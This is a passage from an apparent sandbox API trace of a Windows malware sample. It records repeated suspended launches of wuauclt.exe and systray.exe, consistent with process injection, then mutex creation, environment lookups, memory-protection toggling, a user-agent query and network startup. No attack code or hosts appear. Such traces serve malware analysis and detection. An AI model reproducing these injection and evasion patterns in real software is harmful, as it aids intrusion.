dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.605] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.606] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.606] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.606] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.606] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.716] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\systray.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x1238, hThread=0x1274, dwProcessId=0xbe4, dwThreadId=0xbe8), hNewToken=0x0) returned 1 [0094.430] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x26ebd0 | out: HeapArray=0x26ebd0*=0x350000) returned 0xd [0094.442] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x26e9b0 | out: Value="aETAdzjz") returned 0x0 [0094.467] RtlIntegerToChar (in: Value=0x460, Base=0x0, Length=0x20, String=0x26ef80 | out: String="1120") returned 0x0 [0094.467] RtlIntegerToChar (in: Value=0xcd2819b5, Base=0x0, Length=0x20, String=0x26ef80 | out: String="3441957301") returned 0x0 [0094.467] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="S-1-5-21-2345716-11203441957301") returned 0x0 [0094.467] GetLastError () returned 0x3e6 [0094.493] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x26e730 | out: Value="aETAdzjz") returned 0x0 [0094.502] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x26ea30 | out: Value="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0094.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x26ebe8*=0x774f6110, NumberOfBytesToProtect=0x26ebe0, NewAccessProtection=0x40, OldAccessProtection=0x26ed30 | out: BaseAddress=0x26ebe8*=0x774f6000, NumberOfBytesToProtect=0x26ebe0, OldAccessProtection=0x26ed30*=0x20) returned 0x0 [0094.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x26ebe8*=0x774f6110, NumberOfBytesToProtect=0x26ebe0, NewAccessProtection=0x20, OldAccessProtection=0x26ed30 | out: BaseAddress=0x26ebe8*=0x774f6000, NumberOfBytesToProtect=0x26ebe0, OldAccessProtection=0x26ed30*=0x40) returned 0x0 [0094.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x26ebe8*=0x774f9e74, NumberOfBytesToProtect=0x26ebe0, NewAccessProtection=0x40, OldAccessProtection=0x26ed30 | out: BaseAddress=0x26ebe8*=0x774f9000, NumberOfBytesToProtect=0x26ebe0, OldAccessProtection=0x26ed30*=0x20) returned 0x0 [0094.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x26ebe8*=0x774f9e74, NumberOfBytesToProtect=0x26ebe0, NewAccessProtection=0x20, OldAccessProtection=0x26ed30 | out: BaseAddress=0x26ebe8*=0x774f9000, NumberOfBytesToProtect=0x26ebe0, OldAccessProtection=0x26ed30*=0x40) returned 0x0 [0094.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x26ebe8*=0x774f3a18, NumberOfBytesToProtect=0x26ebe0, NewAccessProtection=0x40, OldAccessProtection=0x26ed30 | out: BaseAddress=0x26ebe8*=0x774f3000, NumberOfBytesToProtect=0x26ebe0, OldAccessProtection=0x26ed30*=0x20) returned 0x0 [0094.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x26ebe8*=0x774f3a18, NumberOfBytesToProtect=0x26ebe0, NewAccessProtection=0x20, OldAccessProtection=0x26ed30 | out: BaseAddress=0x26ebe8*=0x774f3000, NumberOfBytesToProtect=0x26ebe0, OldAccessProtection=0x26ed30*=0x40) returned 0x0 [0094.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x26ebe8*=0x774f8fd0, NumberOfBytesToProtect=0x26ebe0, NewAccessProtection=0x40, OldAccessProtection=0x26ed30 | out: BaseAddress=0x26ebe8*=0x774f8000, NumberOfBytesToProtect=0x26ebe0, OldAccessProtection=0x26ed30*=0x20) returned 0x0 [0094.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x26ebe8*=0x774f8fd0, NumberOfBytesToProtect=0x26ebe0, NewAccessProtection=0x20, OldAccessProtection=0x26ed30 | out: BaseAddress=0x26ebe8*=0x774f8000, NumberOfBytesToProtect=0x26ebe0, OldAccessProtection=0x26ed30*=0x40) returned 0x0 [0094.588] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x26e9ce, cbSize=0x26e9a0 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x26e9a0) returned 0x0 [0096.972] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x26eda0 | out: lpWSAData=0x26eda0) returned 0 [0096.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x8486185, lpParameter=0x848b423, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1270 Thread: id = 157 os_tid = 0x898 [0096.986] Sleep (dwMilliseconds=0x7d0) [0098.985] Sleep (dwMilliseconds=0x7d0) [0101.002] Sleep (dwMilliseconds=0x7d0) [0103.010] Sleep (dwMilliseconds=0x7d0) [0105.022] Sleep (dwMilliseconds=0x7d0) [0107.036] Sleep (dwMilliseconds=0x7d0) [0109.047] Sleep (dwMilliseconds=0x7d0) [0111.059] Sleep 